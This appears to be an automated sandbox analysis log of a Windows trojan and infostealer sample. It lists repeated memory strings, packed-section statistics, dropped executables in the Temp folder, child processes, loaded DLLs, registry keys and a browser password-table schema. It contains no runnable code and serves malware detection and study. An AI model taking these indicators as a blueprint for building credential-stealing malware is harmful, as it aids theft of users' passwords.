Source: ABnDy7rLFS.exe, 00000000.00000003.1660702074.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1643363502.00000000059E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1641684927.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1664043641.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1648018784.0000000005C44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1646722203.0000000005C35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1650854258.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1660383298.0000000005B8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1652890036.0000000005C6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1649607196.0000000005B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1665890832.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1657602057.0000000005B92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1653931934.0000000005B93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1660233557.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1646503362.0000000005C35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1683238386.000000000579C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1652008488.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1652378065.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1639851831.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1657781716.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1655120001.0000000005B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1664215362.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1651337598.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1661184884.0000000005CB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1664385791.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1682677088.0000000005809000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1654660452.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1663711932.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1657147637.0000000005C95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1659780955.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1650588353.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1653176284.0000000005C6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1660539681.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1643277329.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1648500945.0000000005C39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1642219788.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1654262545.0000000005D81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1651851450.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1667800959.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1651054917.0000000005D21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1653695014.0000000005C84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1647390778.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1663871542.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1652595871.0000000005C75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1660086450.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1641815927.00000000059EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1655280176.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1642295647.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1650053263.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1646832362.0000000005CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1677842268.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1646361421.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1652201173.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1645264725.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1663212426.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1683008061.000000000572C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1653523976.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1652750619.0000000005B87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1654471304.0000000005B8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1647748398.0000000005C41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1656533508.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1656273254.0000000005B93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1646624318.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1661038763.0000000005B94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1657403512.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1647028074.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1651675580.0000000005C62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1664557530.0000000005CCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1662394242.0000000005CBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1653335850.0000000005D5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1665611353.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1649748237.0000000005C38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1659942707.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1663379538.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1666401032.0000000005B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1650202081.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1656065980.0000000005D82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1648176819.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1661607086.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1639851831.0000000005809000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1662108136.0000000005B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe
Source: ABnDy7rLFS.exe, 00000000.00000003.1658236334.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ABnDy7rLFS.exe

Source: ABnDy7rLFS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ABnDy7rLFS.exe	Static PE information: Section: ZLIB complexity 0.9973713077910958
Source: ABnDy7rLFS.exe	Static PE information: Section: tmotaokk ZLIB complexity 0.9943277896387546

Source: ABnDy7rLFS.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Code function: 3_2_04EA15D0 ChangeServiceConfigA,

3_2_04EA15D0

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HIX4V53EFUK0JCGHMC1S24CIQ.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

File created: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ABnDy7rLFS.exe, 00000000.00000003.1453469836.00000000056F3000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1430489186.00000000056EB000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1453775809.0000000005781000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1430099384.0000000005707000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ABnDy7rLFS.exe	Virustotal: Detection: 54%
Source: ABnDy7rLFS.exe	ReversingLabs: Detection: 52%

Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

File read: C:\Users\user\Desktop\ABnDy7rLFS.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ABnDy7rLFS.exe "C:\Users\user\Desktop\ABnDy7rLFS.exe"
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Process created: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe "C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe"
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Process created: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe "C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe"
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Process created: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe "C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Process created: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe "C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

